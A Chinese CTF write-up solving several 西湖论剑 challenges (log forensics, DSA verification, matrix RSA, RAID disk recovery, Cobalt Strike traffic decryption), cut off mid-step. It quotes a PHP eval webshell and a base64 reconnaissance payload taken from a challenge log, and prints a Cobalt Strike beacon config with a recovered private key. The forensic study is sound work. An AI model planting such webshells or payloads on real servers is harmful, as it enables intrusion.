我猜你是那种下载文件夹里一堆“西湖论剑附件”,16:00的时候看着自己的排名发现自己论剑论了个寂寞的玩家

[DS] easydatalog | @Luminoria | 未出

请你对附件中的日志文件进行分析,找出“张三”的身份证号和手机号,譬如其身份证号是119795199308186673,手机号是73628276413,则提交的flag为“119795199308186673_73628276413”。

打开附件,发现error.log体积比较大,里面有很多的内容

  • 204行发现一句话木马 <?php eval($_POST[1]);?>

  • 252行及后面发现多行b64编码内容,且每个的内容不一样

    1
    @eval(@base64_decode($_POST['lc134a7d99e04f']));&lc134a7d99e04f=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwgIjAiKTtAc2V0X3RpbWVfbGltaXQoMCk7JG9wZGlyPUBpbmlfZ2V0KCJvcGVuX2Jhc2VkaXIiKTtpZigkb3BkaXIpIHskb2N3ZD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7JG9wYXJyPXByZWdfc3BsaXQoYmFzZTY0X2RlY29kZSgiTHp0OE9pOD0iKSwkb3BkaXIpO0BhcnJheV9wdXNoKCRvcGFyciwkb2N3ZCxzeXNfZ2V0X3RlbXBfZGlyKCkpO2ZvcmVhY2goJG9wYXJyIGFzICRpdGVtKSB7aWYoIUBpc193cml0YWJsZSgkaXRlbSkpe2NvbnRpbnVlO307JHRtZGlyPSRpdGVtLiIvLjVkZDljZWVhMyI7QG1rZGlyKCR0bWRpcik7aWYoIUBmaWxlX2V4aXN0cygkdG1kaXIpKXtjb250aW51ZTt9JHRtZGlyPXJlYWxwYXRoKCR0bWRpcik7QGNoZGlyKCR0bWRpcik7QGluaV9zZXQoIm9wZW5fYmFzZWRpciIsICIuLiIpOyRjbnRhcnI9QHByZWdfc3BsaXQoIi9cXFxcfFwvLyIsJHRtZGlyKTtmb3IoJGk9MDskaTxzaXplb2YoJGNudGFycik7JGkrKyl7QGNoZGlyKCIuLiIpO307QGluaV9zZXQoIm9wZW5fYmFzZWRpciIsIi8iKTtAcm1kaXIoJHRtZGlyKTticmVhazt9O307O2Z1bmN0aW9uIGFzZW5jKCRvdXQpe3JldHVybiBAYmFzZTY0X2VuY29kZSgkb3V0KTt9O2Z1bmN0aW9uIGFzb3V0cHV0KCl7JG91dHB1dD1vYl9nZXRfY29udGVudHMoKTtvYl9lbmRfY2xlYW4oKTtlY2hvICI4YyIuImJhNSI7ZWNobyBAYXNlbmMoJG91dHB1dCk7ZWNobyAiMWRkZGVjIi4iZjM1YzE5Ijt9b2Jfc3RhcnQoKTt0cnl7JEQ9ZGlybmFtZSgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pO2lmKCREPT0iIikkRD1kaXJuYW1lKCRfU0VSVkVSWyJQQVRIX1RSQU5TTEFURUQiXSk7JFI9InskRH0JIjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJDIiwiWiIpYXMgJEwpaWYoaXNfZGlyKCJ7JEx9OiIpKSRSLj0ieyRMfToiO31lbHNleyRSLj0iLyI7fSRSLj0iCSI7JHU9KGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0ZWdpZCIpKT9AcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk6IiI7JHM9KCR1KT8kdVsibmFtZSJdOkBnZXRfY3VycmVudF91c2VyKCk7JFIuPXBocF91bmFtZSgpOyRSLj0iCXskc30iO2VjaG8gJFI7O31jYXRjaChFeGNlcHRpb24gJGUpe2VjaG8gIkVSUk9SOi8vIi4kZS0+2V0TWVzc2FnZSgpO307YXNvdXRwdXQoKTtkaWUoKTs=

让Gemini写了个提取数据的东西

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import re

def extract_and_exclude_data(log_file, save_file):
"""
从日志文件中提取特定的 mod_dumpio 数据,并排除指定的 HTTP 头。

Args:
log_file: 日志文件路径。
"""
excluded_headers = [
r'^\d+\s+bytes\s+Cache-Control: no-cache\\r\\n$',
r'^\d+\s+bytes\s+Upgrade-Insecure-Requests: 1\\r\\n$',
r'^\d+\s+bytes\s+User-Agent: .*\\r\\n$',
r'^\d+\s+bytes\s+Accept: .*\\r\\n$',
r'^\d+\s+bytes\s+Accept-Encoding: .*\\r\\n$',
r'^\d+\s+bytes\s+Accept-Language: .*\\r\\n$',
r'^\d+\s+bytes\s+\\r\\n$',
]
all_data = []
try:
with open(log_file, 'r', encoding='utf-8', errors='ignore') as f:
for line in f:
match_in = re.search(r'mod_dumpio:\s+dumpio_in \(data-HEAP\):\s+(.*)', line)
match_out = re.search(r'mod_dumpio:\s+dumpio_out \(data-HEAP\):\s+(.*)', line)
if match_in:
data = match_in.group(1).strip()
# 排除 HTTP 头
if not any(re.match(header, data) for header in excluded_headers):
all_data.append(data)
if match_out:
data = match_out.group(1).strip()
# 排除 HTTP 头
if not any(re.match(header, data) for header in excluded_headers):
all_data.append(data)
except FileNotFoundError:
print(f"错误:找不到文件 {log_file}")
except Exception as e:
print(f"发生错误: {e}")
with open(save_file, "w") as f:
f.write("\n".join(all_data))

if __name__ == "__main__":
log_file = "easydatalog/error.log"
save_file = "easydatalog/data.txt"
extract_and_exclude_data(log_file, save_file)

然后在提取的文件发现有压缩包(经典504B)

1
504B03041400090063000F8D89592C31EE3BC7050000DF08000008000B00646174612E63737601990700010041450308004D309B474306B8F7C480DF78F2D4E51942F6544FD871D917C99C72175CF3FB5D835C98BB629CEDEDD8CEFDBD663BCA497B2587FAA6AC5FF51A5809C3338FCBC92661921D6F34AE7CEB1E8AB1BAA5ED20BF1A29854EBCF412C5B25F91D3DB68C8E1C69D992566818A464DD0AB71B39F20ED802DBB2FD08F2C2E132E89F84F0497217890B9BE3568A94658E518F45119D538707A61132640B4FCAB9AE27CD4E0EF43AF835F2F79E780E56270893E5CF1DD93186FEE3EF667FDCE145551B08D6A89651D664C9F3E8F8B63192B8AD16B2D0EE1E66A35B0705667DE4FDF78CD0978849CC7E9E443E37F56D941F6D852B64DCFC51A6B23E8768CBBACD2275E15CF4E84E853EF5DC283ED554FD1671D504AB46224B941B01264170A770AA5812B139FECEF658F7D243F952371405A4EE6C4BEF3C2F1C253F6A15B62614903281971D46CD0C529D741E46EEA081E0DE8807F1CA1F4C66A682D7B8B12B807CFA3D1CAE01FAE10BA07DD2994946595FE8BFAA262BDD586C514E709ACABA4DAEA99E7BBBFBC90E429F715EF4CCFDEB0F2E6700E4C2E71182D5173F28DAF4A6CDEFAC852E87D0BC04663A707A5280F80B21182216EDD833CCAC53E3B781B8C220D22DFC4D6D29826C8831007D172E0682B161562248E966ABF440A4042D3F7491DBD89C018E508673B496AB76F430C5271AC28FAA350EC87EDA0901015E33131A522F6EF49DDE30930D06D35F9354BC396A79791E4863C837F1172C7216C47BE70B740949DAB0BADC4C1A0CB1258917B9A557FB4CC4F398A3B1D804C30475683E1AFAECCFA15AAD6E00FBC76E2AC5E48BB67F2F36841E1E19919C2480CFFF0F724970195D397443B2C27A3266559B2ED65D4021317DE10791FCF581D5967E61D62016A56872259706E67CFD12C34E11884006B4698AA1CC2CAAF5007490F615A0EF3DC274D10FFB58069669ED0899A7A03FAEE813D0AA95676AC5806FAAB478FDD00D3BC3779AF308F5F0938AAF8051BB13FDBF09084352714C0A33DD2B6A2660414C0CCF09023864841491FCD0706C8F85D0F9D6EE13B08F1DE91DF0253F0B4AD1C9A7CDF04EC5710BD2B13349AC7D3F487FB610BFD4C8AE26D2A76FAB40F50A5D31769BDAEBC1E80D50949FB133AEBE4AA72A52EE6DF5EA22261EB4CD41A74EFF3A3609E544B8F1C6F0822B5BBC5C7358629696C1C690FD6E646A97ACC0BBFE2E50C57DA09F03C6AB6FBD33A667464924DAD4B8A33D01C7F0202534D41CE794CD3D0C9BB543904A185375114BB9E959693790A910ADAC4305D1FD1457381B65D89952D05A301937DA3733579ED2C89A45895E31070CF8A0891946FBEEF0AC09CF8D8A43661DA8E3AA4B262EF98999425CE3D5587FD56BCEDA2661677A3E0AB5ED0662DF73CA48C2DF77935B0DD1A70A24D3825791AC7EC3B803DEF15C13625A287574BA000B079943A976A29C9727065E4D1A7DA0C819BDEC0BD4919AD8BC0B538A106018BFE2C66E51797ADCAE08E5CC7B485329D2DE1BE78760E4DFEF6B52025F07BC1DF8A41522C14B1294585A96C0E25270B4314E43C396CB374007A33324EE3DDF31C85341F67C85173CC85086BF7FD390D3F6DAA2240641F5F200F9B5D6BE28FA14A480A71C26817573D7FCC29210A29A7FB216774D558354C8DCF7D2AF8B4D04247E57D5F7F84641138FE72CD672B3A873A9435DDE629C842A53F7EF06C9FD3FA49729099E58D1FB9B0597CD88A9031F295765E46BFC640D6D570D0B22FF2095F1EBFDEB8B51A0B9C39DB6F18259BFE9EA92E89B7D7917A8220998818203D6397B6B5F66CC6A02C3EE51AF08536F1C4F59DF3893738C7A59703D3FDE6B6CD26BA95FF291D1E955D89092DCCACD5DF9F62C0130BC1778268E7ACA62B7D56ECA0A3E2D4BD03D29D25371C01349F35108125E1748EE33822B6BF7B3F51EF25579F2AF454E7CF29EC441AB03E53C4C874B361029B9BB2D4126C310EDABCA3C93A8E4CDBFEC3CB79A16C89AFC9A2281B61BEFA189987B2F3D8D3F83833FA5AEEC7AF53E8D56D83D2B2D73DEE5BC624F0CDE21C622CA6B5AC58417DA9AE5C5BA60EA6ECFF8562C65512CD33504B07082C31EE3BC7050000DF080000504B01021F001400090063000F8D89592C31EE3BC7050000DF08000008002F000000000000002000000000000000646174612E6373760A00200000000000010018003A86F4621E4ADB01484F147E1E4ADB01484F147E1E4ADB010199070001004145030800504B0506000000000100010065000000080600000000

压缩包存在密码,且不是伪加密,还有个图片,然后没头绪了

[DS] DSASignatureData | @Luminoria

请你对附件中的流量文件进行分析,在该流量里有一些个人信息数据。附件中还有一份个人信息的签名数据 data-sign.csv(其中签名算法采用 DSA,哈希算法采用 SHA256)和一组公钥文件(位于 public 文件夹中,文件名格式为 public-XXXX.pem,其中 XXXX 为 userid 左侧补零至四位数,即个人用户对应的公钥文件)。由于数据可能在传输过程中被篡改过,因此需要你进行签名验证,验证数据是否被篡改。找出被篡改过的个人信息数据并保存到新的 csv 文件中(文件编码 utf-8,文件格式和 data.csv 保持一致),并将该文件上传至该题的校验平台(在该校验平台里可以下载该题的示例文件 example.csv,可作为该题的格式参考),校验达标即可拿到 flag。

这道题目的重点是如何从流量包中筛选并提取出需要的数据,所有的数据都是以十六进制数据流的方式呈现的

而且还得注意保留用户请求路径,因为包含了userid的参数

所有总体的思路变成了这样

接着就写了这样的脚本来一把梭

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
import os
import csv
import json
import base64
from tqdm import tqdm
from Crypto.PublicKey import DSA
from Crypto.Signature import DSS
from Crypto.Hash import SHA256
from binascii import unhexlify

def verify_signature(public_key, data, signature_b64):
# 将 Base64 编码的签名转换为字节
signature = base64.b64decode(signature_b64)

# 哈希计算
h = SHA256.new(data.encode('utf-8'))

# 创建 DSA 验证对象
verifier = DSS.new(public_key, 'fips-186-3')

try:
# 验证签名
verifier.verify(h, signature)
return True
except ValueError:
# 如果签名验证失败,则返回 False
return False

def load_public_key(userid):
public_key_filename = f"public/public-{userid:04d}.pem" # 补齐前导 0
with open(public_key_filename, 'r') as f:
public_key = DSA.import_key(f.read())
return public_key

def parse_hex_data(hex_data):
decoded_data = unhexlify(hex_data.replace("\n", "")) # 将 hex 转换为字节
json_data = decoded_data.decode('utf-8')
return json.loads(json_data) # 转换为字典格式

def read_signatures(sign_file):
with open(sign_file, 'r') as f:
reader = csv.DictReader(f)
return {row['username']: row for row in reader}

def generate_sign_csv(results, output_file):
# 排序
sorted_results = sorted(results, key=lambda x: x['username'])

# 写入 CSV 文件
with open(output_file, 'w', newline='', encoding='utf-8') as f:
fieldnames = ['username', 'name_signature', 'idcard_signature', 'phone_signature']
writer = csv.DictWriter(f, fieldnames=fieldnames)
writer.writeheader()

for row in sorted_results:
writer.writerow(row)

# tshark 提取
os.popen("tshark -r data.pcapng -Y 'http.request.uri matches \"/?userid=[0-9]{1,4}\"' -T fields -e http.request.method -e http.file_data >> data.txt").read()

# 删除成功的数据返回行
result = []
with open("data.txt") as f:
lines = f.readlines()
for line in lines:
if "7b226d657373616765223a225c75363061385c75353364315c75393030315c75373638345c75363537305c75363336655c75356466325c75363361355c75363533365c7566663031227d" in line: # 成功提示,要去掉
pass
else:
result.append(line.replace("\t", " "))

# 去除重复数据
unique_results = {}
with open("result.txt", "w") as f:
for line in result:
line_data = line.split(" ")
userid = int(line_data[0].replace("/?userid=", ""))

if userid not in unique_results:
unique_results[userid] = line.strip()

# 将去重后的结果写入文件
f.write("\n".join(unique_results.values()))

# 进行数据签名并验证
signatures = read_signatures("data-sign.csv")
results = []
for line in tqdm(unique_results.values()):
line_data = line.split(" ")
userid = int(line_data[0].replace("/?userid=", ""))
userdata = line_data[1].replace("\n", "")
user_dict = parse_hex_data(userdata)

# 获取对应的公钥
public_key = load_public_key(userid)

# 验证各个字段的签名
name_valid = verify_signature(public_key, user_dict['name'], signatures[str(userid)]['name_signature'])
idcard_valid = verify_signature(public_key, user_dict['idcard'], signatures[str(userid)]['idcard_signature'])
phone_valid = verify_signature(public_key, user_dict['phone'], signatures[str(userid)]['phone_signature'])
if not (name_valid and idcard_valid and phone_valid):
results.append({
'username': userid,
'name_signature': user_dict['name'],
'idcard_signature': user_dict['idcard'],
'phone_signature': user_dict['phone'],
})

# 生成csv
generate_sign_csv(results, 'sign.csv')

将保存的sign.csv上传到验证服务器就得到flag了

[Crypto] matrixRSA | @KeqingMoe

要高位爆破搞pq,M是矩阵,普通rsa是标量,并且找到了对应的论文

https://www.gcsu.edu/sites/files/page-assets/node-808/attachments/pangia.pdf - A Matrix Extension of the RSA Cryptosystem

phi 换成这个,把标量看成1*1矩阵的话,代进去论文这个式子就会发现就是普通的φ(n),这篇论文是对RSA的一个推广

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import random
import string
from Crypto.Util.number import *

n = 132298777672085547096511087266255066285502135020124093900452138262993155381766816424955849796168059204379325075568094431259877923353664926875986223020472585645919414821322880213299188157427622804140996898685564075484754918339670099806186873974594139182324884620018780943630196754736972805036038798946726414009
p4 = 9707529668721508094878754383636813058761407528950189013789315732447048631740849315894253576415843631107370002912949379757275
e = 65537

pbits = 512
kbits = pbits - p4.nbits()
p4 = p4 << kbits
PR.<x> = PolynomialRing(Zmod(n))
f = x + p4
roots = f.small_roots(X = 2 ^ kbits, beta = 0.4)
p = p4 + int(roots[0])
q = n / p

gp = (p ^ 3 - p ^ 2) * (p ^ 3 - p) * (p ^ 3 - 1)
gq = (q ^ 3 - q ^ 2) * (q ^ 3 - q) * (q ^ 3 - 1)
g = gp * gq
e = 65537
d = inverse_mod(e, g)
data = [
[
130700952989014311434434028098810412089294728270156705618326733322297465714495704072159530618655340096705383710304658044991149662060657745933090473082775425812641300964472543605460360640675949447837208449794830578184968528547366608180085787382376536622136035364815331037493098283462540849880674541138443271941,
71108771421281691064141020659106224750236412635914570166893031318860027728093402453305986361330527563506168063047627979831630830003190075818824767924892107148560048725155587353683119195901991465464478196049173060097561821877061015587704803006499153902855903286456023726638247758665778434728734461065079337757,
67999998657112350704927993584783146575182096185020115836188544590466205688442741039622382576899587857972463337900200038021257164640987281308471100297698062626107380871262596623736773815445544153508352926374272336154553916204320257697068627063236060520725376727528604938949588845448940836430120015498687885615
],
[
23893343854815011808020457237095285782125931083991537368666368653089096539223297567339111502968295914745423286070638369517207554770793304994639155083818859208362057394004419565231389473766857235749279110546079776040193183912062870294579472815588333047561915280189529367474392709554971446978468118280633281993,
9711323829269829751519177755915164402658693668631868499383945203627197171508441332211907278473276713066275283973856513580205808517918096017699122954464305556795300874005627001464297760413897074044080665941802588680926430030715299713241442313300920463145903399054123967914968894345491958980945927764454159601,
44904507975955275578858125671789564568591470104141872573541481508697254621798834910263012676346204850278744732796211742615531019931085695420000582627144871996018850098958417750918177991375489106531511894991744745328626887250694950153424439172667977623425955725695498585224383607063387876414273539268016177401
],
[
67805732998935098446255672500407441801838056284635701147853683333480924477835278030145327818330916280792499177503535618310624546400536573924729837478349680007368781306805363621196573313903080315513952415535369016620873765493531188596985587834408434835281527678166509365418905214174034794683785063802543354572,
13486048723056269216825615499052563411132892702727634833280269923882908676944418624902325737619945647093190397919828623788245644333036340084254490542292357044974139884304715033710988658109160936809398722070125690919829906642273377982021120160702344103998315875166038849942426382506293976662337161520494820727,
95932690738697024519546289135992512776877884741458439242887603021792409575448192508456813215486904392440772808083658410285088451086298418303987628634150431725794904656250453314950126433260613949819432633322599879072805834951478466009343397728711205498602927752917834774516505262381463414617797291857077444676
]
]
C = Matrix(Zmod(n), data)
M = C ^ d
m = []
for row in M:
for val in row:
m.append(long_to_bytes(int(val)))
flag = b''.join(m).decode('utf-8')
print(flag)

用sage跑出来就得到flag了

[MISC] 糟糕的磁盘 | @Luminoria | 赛后出

Oops!你能找到磁盘中的秘密吗?

赛中

发现有RAID头,所以用R-Studio打开,发现在uGZ85OzT.img文件里面有一个图片

图片是下面这张(没错它就是下面是空的)

一开始以为是类似于谷歌亲儿子的那个截图漏洞,用acropalypse,结果发现出不来,然后没头绪了,下一题!

赛后

事实证明,R-Studio提取的文件是错的,换了UFS Explorer就能出来

将五个文件拖进去,在左边能够看到重建后的磁盘,点开发现里面有一个图片和一个secret文件,都提取出来

发现secret文件是经典10MB,大概率是Vera的磁盘文件了,但是Vera的磁盘是有加密的,图片的名字又是key,所以图片应该是这个磁盘的密钥

加载后挂载,能看到里面有flag文件,然后就得到flag了 DASCTF{R41D_4ND_D15K_M4573R}

[MISC] CSCS | @Luminoria |未出

CS? CS! Playing CS with me XD

参考文献:https://www.freebuf.com/articles/network/407982.html

一开始以为真的是分析Counter-Strike的流量包,但是后来发现应该是CobaltStrike

看HTTP协议,可以看到第一个心跳包(ID 147)

分析握手包用这个 https://github.com/minhangxiaohui/CSthing/blob/master/1768_v0_0_8/1768.py

保存后分析CS的信息如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
xorkey(chain): 0x6dc452ff
length: 0x040400c9
xorkey b'.' 2e
0x0001 payload type 0x0001 0x0002 0 windows-beacon_http-reverse_http
0x0002 port 0x0001 0x0002 12345
0x0003 sleeptime 0x0002 0x0004 60000
0x0004 maxgetsize 0x0002 0x0004 1048576
0x0005 jitter 0x0001 0x0002 0
0x0007 publickey 0x0003 0x0100 30819e300d06092a864886f70d010101050003818c00308188028180525e1781f2f02d132a7818a6d269baddbf39352c8d20290ec2294fbe4d77e6549ef4766d8b0e1620000adfbd7aff99cd72f05623eb0def202265cf631dd895acd5e981da8424c03a295895c8194a31641f2eecd5a8715ca89cdbf9433c5d437538767666c3bdb0f8629555375b574fe408a94ae82f92960085d416374f1654b302030100010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0x0008 server,get-uri 0x0003 0x0100 '10.11.4.3,/cm'
0x0043 DNS_STRATEGY 0x0001 0x0002 0
0x0044 DNS_STRATEGY_ROTATE_SECONDS 0x0002 0x0004 -1
0x0045 DNS_STRATEGY_FAIL_X 0x0002 0x0004 -1
0x0046 DNS_STRATEGY_FAIL_SECONDS 0x0002 0x0004 -1
0x000e SpawnTo 0x0003 0x0010 'ªï³±Ký¦\x03\x1e@\x89ã\x93\t<X'
0x001d spawnto_x86 0x0003 0x0040 '%windir%\\syswow64\\rundll32.exe'
0x001e spawnto_x64 0x0003 0x0040 '%windir%\\sysnative\\rundll32.exe'
0x001f CryptoScheme 0x0001 0x0002 0
0x001a get-verb 0x0003 0x0010 'GET'
0x001b post-verb 0x0003 0x0010 'POST'
0x001c HttpPostChunk 0x0002 0x0004 0
0x0025 license-id 0x0002 0x0004 1234567890 Stats uniques -> ips/hostnames: 298 publickeys: 236
0x0026 bStageCleanup 0x0001 0x0002 0
0x0027 bCFGCaution 0x0001 0x0002 0
0x0009 useragent 0x0003 0x0100 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; MALCJS)'
0x000a post-uri 0x0003 0x0040 '/submit.php'
0x000b Malleable_C2_Instructions 0x0003 0x0100
Transform Input: [7:Input,4]
Print
0x000c http_get_header 0x0003 0x0200
Build Metadata: [7:Metadata,3,6:Cookie]
BASE64
Header Cookie
0x000d http_post_header 0x0003 0x0200
Const_header Content-Type: application/octet-stream
Build SessionId: [7:SessionId,5:id]
Parameter id
Build Output: [7:Output,4]
Print
0x0036 HostHeader 0x0003 0x0080 (NULL ...)
0x0032 UsesCookies 0x0001 0x0002 1
0x0023 proxy_type 0x0001 0x0002 2 IE settings
0x003a TCP_FRAME_HEADER 0x0003 0x0080 '\x00\x04'
0x0039 SMB_FRAME_HEADER 0x0003 0x0080 '\x00\x04'
0x0037 EXIT_FUNK 0x0001 0x0002 0
0x0028 killdate 0x0002 0x0004 0
0x0029 textSectionEnd 0x0002 0x0004 0
0x002b process-inject-start-rwx 0x0001 0x0002 64 PAGE_EXECUTE_READWRITE
0x002c process-inject-use-rwx 0x0001 0x0002 64 PAGE_EXECUTE_READWRITE
0x002d process-inject-min_alloc 0x0002 0x0004 0
0x002e process-inject-transform-x86 0x0003 0x0100 (NULL ...)
0x002f process-inject-transform-x64 0x0003 0x0100 (NULL ...)
0x0035 process-inject-stub 0x0003 0x0010 (NULL ...)
0x0033 process-inject-execute 0x0003 0x0080 '\x01\x02\x03\x04'
0x0034 process-inject-allocation-method 0x0001 0x0002 0
0x0000
Guessing Cobalt Strike version: 4.3 (max 0x0046)
Sanity check Cobalt Strike config: OK
Sleep mask 64-bit 4.2 deobfuscation routine found: 0x0000ff40 (LSFIF: b't3E;')

pubkey是DER,转换为PEM

1
openssl rsa -inform DER -pubin -in <(python -c 'import binascii; hex_string = "30819e300d06092a864886f70d010101050003818c00308188028180525e1781f2f02d132a7818a6d269baddbf39352c8d20290ec2294fbe4d77e6549ef4766d8b0e1620000adfbd7aff99cd72f05623eb0def202265cf631dd895acd5e981da8424c03a295895c8194a31641f2eecd5a8715ca89cdbf9433c5d437538767666c3bdb0f8629555375b574fe408a94ae82f92960085d416374f1654b302030100010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"; import sys; sys.stdout.buffer.write(binascii.unhexlify(hex_string))' ) -outform PEM -out publickey.pem
1
2
3
4
5
6
7
-----BEGIN PUBLIC KEY-----
MIGeMA0GCSqGSIb3DQEBAQUAA4GMADCBiAKBgFJeF4Hy8C0TKngYptJput2/OTUs
jSApDsIpT75Nd+ZUnvR2bYsOFiAACt+9ev+ZzXLwViPrDe8gImXPYx3YlazV6YHa
hCTAOilYlcgZSjFkHy7s1ahxXKic2/lDPF1DdTh2dmbDvbD4YpVVN1tXT+QIqUro
L5KWAIXUFjdPFlSzAgMBAAE=
-----END PUBLIC KEY-----

我猜可能是CS远端服务器用私钥加密了,然后我们肉鸡用公钥解密,要不然说不通,结果我猜对了(见下图)

图源:https://www.freebuf.com/articles/network/407982.html

接着用RsaCtfTool爆私钥

https://github.com/RsaCtfTool/RsaCtfTool

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
-----BEGIN RSA PRIVATE KEY-----
MIICWgIBAAKBgFJeF4Hy8C0TKngYptJput2/OTUsjSApDsIpT75Nd+ZUnvR2bYsO
FiAACt+9ev+ZzXLwViPrDe8gImXPYx3YlazV6YHahCTAOilYlcgZSjFkHy7s1ahx
XKic2/lDPF1DdTh2dmbDvbD4YpVVN1tXT+QIqUroL5KWAIXUFjdPFlSzAgMBAAEC
gYApWVrrvY2c0zZKu/VjQ/ivQUPy0b63GmVyS1Lg8frzAiAaESnE2Pl6bwsGbxTE
I+3jeYuE1IdWOAeMnKPhY80fOSgws6vSri7CcxnMUEEn3AMw4YSwBIaBGkdLnfxf
pbS/kUUb/z7/A1SRtNq1n4hZYinnG2NpUuiO1WqwHqOGoQJBAJE14+VVt8ONGIZ1
qIf4cqAnAmtonPhyDNdYZQC0IlxNzyixo/lnlTc80b3jYUA4w8GGQQZea70op4RS
fIJV420CQQCRNePlVbfDjRiGdaiH+HKgJwJraJz4cgzXWGUAtCJcTc8osaP5Z5U3
PNG942FAOMPBhkEGXmu9KKeEUnyCVeSfAkB6vJQuKe+zaDVMoXKbyxIH8DEJXFkh
XjUgZ+SnXZqVbmclPFEe48Cp+cxGtkRjJhfAIZwgp/pk3lIJdDctay9ZAkAhlDeu
CcNj6hXYyg592tsO49ZwZhGedik4Bw3cOsuTUr7r5yBHBUgBLQRHh/QuOLIz50rU
ITOC24rZU4XNUfV7AkAipEfvmXf4RaJLlIoWZe/XkNXpGcsYIeaedUv29xqaNAbA
7HhEs3twu6+G0QP1YuAPNp28FNoe52XfJhVWTw1D
-----END RSA PRIVATE KEY-----

然后转成der格式,在变成hex,变成下面这一堆

1
3082025a020100028180525e1781f2f02d132a7818a6d269baddbf39352c8d20290ec2294fbe4d77e6549ef4766d8b0e1620000adfbd7aff99cd72f05623eb0def202265cf631dd895acd5e981da8424c03a295895c8194a31641f2eecd5a8715ca89cdbf9433c5d437538767666c3bdb0f8629555375b574fe408a94ae82f92960085d416374f1654b3020301000102818029595aebbd8d9cd3364abbf56343f8af4143f2d1beb71a65724b52e0f1faf302201a1129c4d8f97a6f0b066f14c423ede3798b84d4875638078c9ca3e163cd1f392830b3abd2ae2ec27319cc504127dc0330e184b00486811a474b9dfc5fa5b4bf91451bff3eff035491b4dab59f88596229e71b636952e88ed56ab01ea386a10241009135e3e555b7c38d188675a887f872a027026b689cf8720cd7586500b4225c4dcf28b1a3f96795373cd1bde3614038c3c18641065e6bbd28a784527c8255e36d0241009135e3e555b7c38d188675a887f872a027026b689cf8720cd7586500b4225c4dcf28b1a3f96795373cd1bde3614038c3c18641065e6bbd28a784527c8255e49f02407abc942e29efb368354ca1729bcb1207f031095c59215e352067e4a75d9a956e67253c511ee3c0a9f9cc46b644632617c0219c20a7fa64de520974372d6b2f590240219437ae09c363ea15d8ca0e7ddadb0ee3d67066119e762938070ddc3acb9352beebe720470548012d044787f42e38b233e74ad4213382db8ad95385cd51f57b024022a447ef9977f845a24b948a1665efd790d5e919cb1821e69e754bf6f71a9a3406c0ec7844b37b70bbaf86d103f562e00f369dbc14da1ee765df2615564f0d43

下一步要提取metadata,用的是https://github.com/minhangxiaohui/CSthing/blob/master/cs-decrypt-metadata_V0_0_1/cs-decrypt-metadata.py

这里后面的那个SLHAIOj8/1icVtP6fImtJz6B6wR0t/XwLg1G0Y3AxoxnseBfPONxoyjAWCCOH84IJULnCZZrO7cIRxJPS2PtmDD4MvD8/PIpoW8Gj8536vhwd+tyXjNKyLNyNYcj+JgO4N5FTnKtkONgv7KnsMjJC3E0eI0ctqmZll8SrXLUS9k=是来自流量包的Cookie

1
python metadata.py -p "3082025a020100028180525e1781f2f02d132a7818a6d269baddbf39352c8d20290ec2294fbe4d77e6549ef4766d8b0e1620000adfbd7aff99cd72f05623eb0def202265cf631dd895acd5e981da8424c03a295895c8194a31641f2eecd5a8715ca89cdbf9433c5d437538767666c3bdb0f8629555375b574fe408a94ae82f92960085d416374f1654b3020301000102818029595aebbd8d9cd3364abbf56343f8af4143f2d1beb71a65724b52e0f1faf302201a1129c4d8f97a6f0b066f14c423ede3798b84d4875638078c9ca3e163cd1f392830b3abd2ae2ec27319cc504127dc0330e184b00486811a474b9dfc5fa5b4bf91451bff3eff035491b4dab59f88596229e71b636952e88ed56ab01ea386a10241009135e3e555b7c38d188675a887f872a027026b689cf8720cd7586500b4225c4dcf28b1a3f96795373cd1bde3614038c3c18641065e6bbd28a784527c8255e36d0241009135e3e555b7c38d188675a887f872a027026b689cf8720cd7586500b4225c4dcf28b1a3f96795373cd1bde3614038c3c18641065e6bbd28a784527c8255e49f02407abc942e29efb368354ca1729bcb1207f031095c59215e352067e4a75d9a956e67253c511ee3c0a9f9cc46b644632617c0219c20a7fa64de520974372d6b2f590240219437ae09c363ea15d8ca0e7ddadb0ee3d67066119e762938070ddc3acb9352beebe720470548012d044787f42e38b233e74ad4213382db8ad95385cd51f57b024022a447ef9977f845a24b948a1665efd790d5e919cb1821e69e754bf6f71a9a3406c0ec7844b37b70bbaf86d103f562e00f369dbc14da1ee765df2615564f0d43" "SLHAIOj8/1icVtP6fImtJz6B6wR0t/XwLg1G0Y3AxoxnseBfPONxoyjAWCCOH84IJULnCZZrO7cIRxJPS2PtmDD4MvD8/PIpoW8Gj8536vhwd+tyXjNKyLNyNYcj+JgO4N5FTnKtkONgv7KnsMjJC3E0eI0ctqmZll8SrXLUS9k="

得到rawkey、aeskey和hmackey

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
